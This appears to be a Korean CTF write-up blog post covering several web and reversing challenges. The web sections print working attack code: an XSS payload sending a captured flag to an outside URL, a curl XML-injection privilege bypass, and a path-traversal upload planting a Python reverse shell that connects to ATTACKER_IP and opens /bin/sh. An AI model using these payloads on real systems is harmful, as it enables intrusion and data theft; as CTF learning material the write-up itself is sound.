WEB- Koko WAF
https://hackmd.io/@abdinata/Website-Challenge-0xL4ughCTF-2024#Simple-WAF
All Website Challenge Write Up - 0xL4ugh CTF 2024 - HackMD
My team HCS (Heroes Cyber Security) official cyber security community from Institut Teknologi Sepuluh Nopember has participated on 0xL4ugh CTF 2024.
hackmd.io
와 매우 유사한 문제
패턴 플러딩방식으로 무수히 많은 정규식에 걸리는 문자열을 input으로 줘서 정규식엔진 터트림->php에서 false반환
cute_csp
(async () => {
try {
// 1) 잔액 펌핑 + FL 구매용 YAML
const yaml =
`- amount: 1000000
currency: ZZZ
op: BUY
- amount: 1000000
currency: ZZZ
op: SELL
- amount: 1
currency: FL
op: BUY
`;
const host = "http://localhost:5000/admin.php/../index.php?html=" + encodeURIComponent(yaml);
const res = await fetch("/admin.php", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "url=" + encodeURIComponent(host)
});
const txt = await res.text();
const m = txt.match(/BHFlagY\{[^}]+\}/);
const to = "https://url";
new Image().src = m
? `${to}?flag=${encodeURIComponent(m[0])}&t=${Date.now()}`
: `${to}?error=no_match&t=${Date.now()}`;
} catch (e) {
new Image().src = "https://url?error=" + encodeURIComponent(String(e)) + "&t=" + Date.now();
}
})();
이렇게 블록체인 테스트 시스템에서 .yaml을 넣을시 0원으로 사서 비싸게 판매가능
report창에서 url 인코딩을 두번하면 봇이 읽고 리턴하는 화면에서 xss발생
총3가지 방법으로 풀이가능
1.php 기본세팅 1000이라 1000넘으면 경고 응답먼저 발생해서 csp우회
2.meta-refresh 이용 -html, csp 적용전 실행, 브라우저는 스크립트 실행이 아닌 탐색이벤트로 처리->공격자 서버로 리다이렉트 시킨후 거기서 csrf발생시킴
3.레이스컨디션->봇두번빠르게실행->첫번째봇은 바로 종료시킴->이때 lock파일지워짐->두번째 봇이 이때 report로 요청->xss발생
web/ Go brrr
flask에서 go 내부서버로 전송하는데 이때 사용자 권한을 파악, go내부로직에서 xml로 한번 unmarshal하고 json형식으로 다시 시도함
curl -c cookies.txt -H "Content-Type: application/json" -X POST \
-d '{"username":"tester","password":"secret","payload":"<User xmlns:A='\''urn:x'\''><username>tester</username><password>secret</password><A:->true</A:-></User>"}' \
http://cmvkaxjvbg-0.playat.flagyard.com/user
curl -b cookies.txt http://cmvkaxjvbg-0.playat.flagyard.com/admin
신기한 테크닉
web/hash factory
import requests
ATTACKER_IP = ""
ATTACKER_PORT = 10012
evil_payload = f"""#!/app/.venv/bin/python
import socket,subprocess,os
s=socket.socket()
s.connect(("{ATTACKER_IP}",{ATTACKER_PORT}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh"])
""".encode()
files = {
"hash_file": ("../crack", evil_payload)
}
url = "http://cmvkaxjvbg-0.playat.flagyard.com"
res = requests.post(url, files=files)
print("Status code:", res.status_code)
print("Response body:")
print(res.text)
웹상에서 파이썬으로 커맨드가 먹히기에 환경변수읽기
REV / Down The Rabbit Hole
리버싱은 대 LLM시대가 도래했다.
#!/usr/bin/env python3
"""solve.py — Solver for the provided CTF REV challenge (main.py)
Reconstructs the expected bytes from main.py and prints the flag.
"""
import sys
import importlib.util
from pathlib import Path
def load_main_module():
"""Dynamically import the colocated main.py (with fallback to /mnt/data)."""
# Try alongside this file first
base = Path(__file__).resolve().parent
candidates = [base / "main.py", Path("./main.py")]
for path in candidates:
if path.is_file():
spec = importlib.util.spec_from_file_location("main", path)
mod = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(mod)
return mod
raise FileNotFoundError("main.py not found next to solve.py or in /mnt/data")
def recover_flag() -> str:
m = load_main_module()
if not hasattr(m, "_rebuild_expected_bytes"):
raise AttributeError("main.py does not expose _rebuild_expected_bytes()")
b = m._rebuild_expected_bytes()
try:
return b.decode("utf-8")
except UnicodeDecodeError:
# Fallback if not valid UTF-8
return b.hex()
def main() -> None:
flag = recover_flag()
print(flag)
# Optional verification using challenge's checker if present
try:
m = load_main_module()
if hasattr(m, "check"):
ok = m.check(flag)
print(f"[verify] check(flag) -> {ok}")
except Exception as e:
print(f"[verify] skipped: {e}")
if __name__ == "__main__":
main()
대용량 파일이여도 GPT보고 파서 만들어달라해서 풀기
REV / Round and round we crypt
from typing import List, Tuple
def rol32(x: int, n: int) -> int:
n &= 31
return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
def ror32(x: int, n: int) -> int:
n &= 31
return ((x >> n) | (x << (32 - n))) & 0xFFFFFFFF
# Keys from memory
A3 = [0x0B2B77D0, 0x837CDBAF, 0xA5C7A28D, 0x17DB9019]
A4 = [0x23B4363B, 0x4A8920A0, 0x8A0B1752, 0xACEEBE81,
0x5DED16C4, 0x1CD777CD, 0xC86AADF2, 0x64459B0A,
(0xFFFFFFFF + 1 + (-715467436)) & 0xFFFFFFFF]
DELTA = 0x9E3779B9
# Cipher blocks (upper, lower) pairs from unk_100003F68
blocks: List[Tuple[int,int]] = [
(0x36196A12, 0xB16B464A),
(0x3B2E6C9A, 0x5F9D2453),
(0xF42A66B0, 0x907CA2CF),
(0xA9288C6C, 0x2A6244F4),
(0xD479081B, 0x9A5EF180),
]
plain_bytes = bytearray()
for i_block, (upper_c, lower_c) in enumerate(blocks):
v9 = upper_c ^ A3[2]
v5 = (lower_c - A3[3]) & 0xFFFFFFFF
# invert 9 rounds
for i in range(8, -1, -1):
w = A4[i]
r0 = (3 + (w & 7)) & 31
r1 = (5 + ((w >> 3) & 7)) & 31
v6_prev = (v9 + A3[(i + 1) & 3] + rol32(v9, r1)) & 0xFFFFFFFF
v6_prev ^= v5
v8 = (v9 - rol32(v6_prev, r0)) & 0xFFFFFFFF
v5_prev = (v8 - A3[i & 3] - (w ^ DELTA)) & 0xFFFFFFFF
v5, v9 = v5_prev, v6_prev
# now v5 is original upper, v6 is original lower
upper_p = v5 & 0xFFFFFFFF
lower_p = v9 & 0xFFFFFFFF
# append bytes: high dword (indices 0..3), then low dword (indices 4..7)
plain_bytes += upper_p.to_bytes(4, 'little')
plain_bytes += lower_p.to_bytes(4, 'little')
flag = plain_bytes[:36]
print(flag)
print(flag.decode('utf-8', errors='replace'))
REV / Hackers Minefield
import binascii, sys, hashlib
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
path = '/Users/hackers_minefield/assets.bin'
with open(path,'rb') as f:
b = f.read()
assert b[:8] == b'TOKNORM1'
salt = b[8:40]
nonce = b[40:52]
norm = b[52:84]
token = b[84:116]
merkle = b[116:148]
len_tokens = int.from_bytes(b[148:152],'little')
enc_len = int.from_bytes(b[152:156],'little')
enc = b[156:156+enc_len]
ct, tag = enc[:-16], enc[-16:]
cands = []
# raw
cands += [norm, token, merkle]
# simple hashes
cands += [hashlib.sha256(x).digest() for x in [norm, token, merkle]]
# concatenations
cands += [hashlib.sha256(norm+token).digest(), hashlib.sha256(norm+merkle).digest(), hashlib.sha256(token+merkle).digest(), hashlib.sha256(norm+token+merkle).digest()]
# salted
cands += [hashlib.sha256(norm+salt).digest(), hashlib.sha256(token+salt).digest(), hashlib.sha256(merkle+salt).digest()]
# xor combos
from itertools import combinations
for a,bv in combinations([norm, token, merkle],2):
cands.append(bytes(x^y for x,y in zip(a,bv)))
tried = set()
for i,k in enumerate(cands):
if k in tried: continue
tried.add(k)
try:
cipher = AES.new(k, AES.MODE_GCM, nonce=nonce)
pt = cipher.decrypt_and_verify(ct, tag)
if all(32 <= c < 127 or c in (9,10,13) for c in pt):
print('OK key idx', i, '->', pt.decode('utf-8','ignore'))
sys.exit(0)
else:
print('OK key idx', i, 'non-ascii length', len(pt))
print(pt[:128])
sys.exit(0)
except Exception as e:
pass
print('No key worked among', len(tried))
MACH-O 파일에서 복호화 짜기
분발해야겠다
'웹' 카테고리의 다른 글
| LineCTF2025 공부 (2) | 2025.10.20 |
|---|---|
| IERAE CTF 2025-web-풀이 (0) | 2025.06.21 |
| smileyCTF-web-공부 (1) | 2025.06.19 |
| smileyCTF-web-풀이 (1) | 2025.06.14 |
| N0PSctf-web-공부 (1) | 2025.06.04 |